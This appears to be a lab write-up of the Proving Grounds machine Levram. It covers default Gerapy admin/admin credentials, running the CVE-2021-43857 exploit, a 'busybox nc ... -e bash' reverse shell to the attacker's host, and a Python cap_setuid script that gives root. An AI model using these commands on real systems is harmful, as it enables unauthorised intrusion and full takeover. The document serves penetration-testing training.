the_open_door
coffee
ESEN

Levram

Proving Grounds PracticeEasyLinux192.168.205.24

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#gerapy#cve-2021-43857#default-credentials#authenticated-rce#linux-capabilities#cap-setuid#python#oscp
TL;DR. Levram runs Gerapy v0.9.7 on 8000. We log in with default credentials (admin/admin) and fire the authenticated RCE CVE-2021-43857, landing as app. The /usr/bin/python3.10 binary holds the cap_setuid=ep capability, so an os.setuid(0) followed by a shell makes us root (cap_setuid abuse).

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Only two ports:

ping -c 1 192.168.205.24
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.205.24
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http
nmap -p22,8000 -sCV 192.168.205.24 -oN targetedScan
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    WSGIServer 0.2 (Python 3.10.6)
|_http-title: Gerapy

Gerapy - TCP 8000

Port 8000 serves Gerapy, a web panel to manage Scrapy scraping spiders. It accepts the default credentials admin/admin:

Gerapy panel reachable with default credentials admin/admin

Once inside, the dashboard (/#/home) shows no clients, but what matters is in the footer: Copyright © 2026 Gerapy v0.9.7. That line pins the exact version and, with it, the vulnerability search:

Gerapy dashboard at /#/home with the footer showing Gerapy v0.9.7

CLIENT   0 Normal Clients
CLIENT   0 Error Clients

Copyright © 2026 Gerapy v0.9.7 All Rights Reserved.

searchsploit confirms that version's authenticated RCE:

searchsploit gerapy
Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated) | python/remote/50640.py   (CVE-2021-43857)

Exploitation

CVE-2021-43857: authenticated RCE

Gerapy lets you create and run projects; CVE-2021-43857 abuses that functionality to run arbitrary commands with a valid session. One detail conditions everything: the exploit does not create the project, it looks one up, so on an empty install it finds nothing to fire against. That is why the first step is creating one from the interface itself (Projects → create), with any name, here test:

Gerapy Create dialog: Projects tab, create button, Name field holding test and the create button

PROJECT        + create
Create | Upload | Clone
Name: test
This will create a configurable project
[cancel] [create]

With the project in place, we copy the exploit into our working directory with searchsploit -m and rename it to something manageable. 50640.py logs in with admin/admin, locates the project and fires a reverse shell:

searchsploit -m python/remote/50640.py
mv 50640.py exp.py
python3 exp.py -t 192.168.205.24 -p 8000 -L 192.168.45.232 -P 22

exp.py prints its CVE-2021-43857 banner, logs in, finds the test project with ID 3, brings up the listener on 22 and catches the shell as app

Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
[*] Resolving URL ...
[*] Logging in to application ...
[*] Login successful! Proceeding ...
[*] Getting the project list
[*] Found project: test
[*] Getting the ID of the project to build the URL
[*] Found ID of the project:  3
[*] Setting up a netcat listener
listening on [any] 22 ...
[*] Executing reverse shell payload
[*] Watchout for shell! :)
connect to [192.168.45.232] from (UNKNOWN) [192.168.205.24] 32900
bash: cannot set terminal process group (846): Inappropriate ioctl for device
bash: no job control in this shell
app@ubuntu:~/gerapy$

The exploit does all the work, including standing up its own listener via -P 22, and Found ID of the project: 3 confirms it located the test we just created. But the shell it hands over is no good for working: those two bash lines say there is no controlling terminal, so no Ctrl+C, no su, no history.

Before triggering the shell, we set up Penelope listening on port 80 (the exploit opens its own nc on 22 for the first contact):

penelope
(Penelope)> listeners add -p 80

The first callback lands on the exploit's listener on 22, but it is a non-interactive shell (bash: no job control in this shell); we stabilize it by reconnecting with busybox nc to port 80, where Penelope waits:

busybox nc 192.168.45.232 80 -e bash

The Gerapy exploit returns a non-interactive reverse shell and, after the busybox nc, Penelope catches the session as the app user

Exploit for CVE-2021-43857
For: Gerapy < 0.9.8
[*] Login successful! Proceeding ...
[*] Getting the project list
[*] Found project: test
[*] Found ID of the project:  3
[*] Setting up a netcat listener
listening on [any] 22 ...
[*] Executing reverse shell payload
[*] Watchout for shell! :)
connect to [192.168.45.232] from (UNKNOWN) [192.168.205.24] 32900
bash: cannot set terminal process group (846): Inappropriate ioctl for device
bash: no job control in this shell
app@ubuntu:~/gerapy$ busybox nc 192.168.45.232 80 -e bash

(Penelope)> listeners add -p 80
[+] Got reverse shell from ubuntu~192.168.205.24-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
app@ubuntu:~/gerapy$ whoami
app

The shell Penelope stabilizes runs as app.

Local

cat local.txt && ip a && hostname && whoami

local.txt read as app on levram

d6bcaef8860a9945aad418621ee3dbd5
app

Privilege escalation

cap_setuid capability on python3.10

We enumerate the system's capabilities with getcap. Capabilities are slices of root's privileges assignable to a specific binary; getcap highlights that /usr/bin/python3.10 carries cap_setuid=ep:

getcap -r / 2>/dev/null
/usr/bin/python3.10 cap_setuid=ep

cap_setuid lets the binary change its UID to any value without being root, i.e. call setuid(0) successfully (cap_setuid abuse). A minimal script that sets the UID to 0 and launches a shell gives us root:

# privesc.py
import os
os.setuid(0)
os.system("/bin/bash")
/usr/bin/python3.10 privesc.py

python3.10 with cap_setuid runs os.setuid(0) and whoami returns root

app@ubuntu:~$ getcap -r / 2>/dev/null
/usr/bin/python3.10 cap_setuid=ep
...
app@ubuntu:~$ /usr/bin/python3.10 privesc.py
root@ubuntu:~# whoami
root

getcap confirms that /usr/bin/python3.10 holds cap_setuid=ep: with that capability, os.setuid(0) switches the UID to 0 without being SUID, and the resulting bash is root.

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt read as root on levram

2291cccf65790ed3a12e48bf2ed95e5a
root

Attack chain

HTTP (8000)  --  Gerapy v0.9.7
        │  default credentials admin/admin
        │  CVE-2021-43857: authenticated RCE -> reverse shell
        ▼
app  (local.txt)
        │  cap_setuid=ep on /usr/bin/python3.10 -> os.setuid(0)
        ▼
root  (proof.txt)

Lessons learned

  • Default credentials + authenticated RCE = full access. admin/admin opened Gerapy and its version carried CVE-2021-43857. The factory password made an "authenticated" RCE trivial.
  • getcap is mandatory in Linux enumeration. A misassigned capability shows up neither in sudo -l nor among the classic SUIDs; only getcap -r / reveals it. It's a vector many overlook.
  • cap_setuid on an interpreter is direct root. Granting that capability to Python (or Perl, Ruby...) is equivalent to gifting root's SUID: the binary can call setuid(0) at will. Capabilities must be limited to binaries that truly need them, not general-purpose interpreters.
Command cheatsheet 7 commands

Quick review